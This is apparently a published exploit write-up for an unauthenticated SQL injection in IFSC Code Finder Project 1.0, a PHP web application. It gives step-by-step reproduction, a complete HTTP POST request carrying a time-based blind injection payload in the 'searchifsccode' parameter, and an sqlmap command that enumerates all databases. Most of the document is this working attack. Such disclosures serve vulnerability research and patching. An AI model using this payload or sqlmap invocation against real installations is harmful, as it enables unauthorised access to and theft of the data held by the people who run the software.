IFSC Code Finder Project 1.0 SQL Injection

`# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)  
# Exploit Author: Yash Mahajan   
# Date: 2021-10-07  
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/  
# Version: 1  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478  
# Tested On: Windows 10, XAMPP   
# Vulnerable Parameter: searchifsccode   
  
Steps to Reproduce:  
  
1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.  
2) Paste below request into burp repeater and also create a txt file and paste this request.  
  
Request:  
========  
POST /ifscfinder/search.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 79  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/ifscfinder/  
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=  
  
--------------------------------------------------------------------------------  
3) You will see a time delay of 20 Sec in response.  
4) python sqlmap.py -r request.txt -p searchifsccode --dbs  
5) We can retrieve all databases using above sqlmap command  
  
`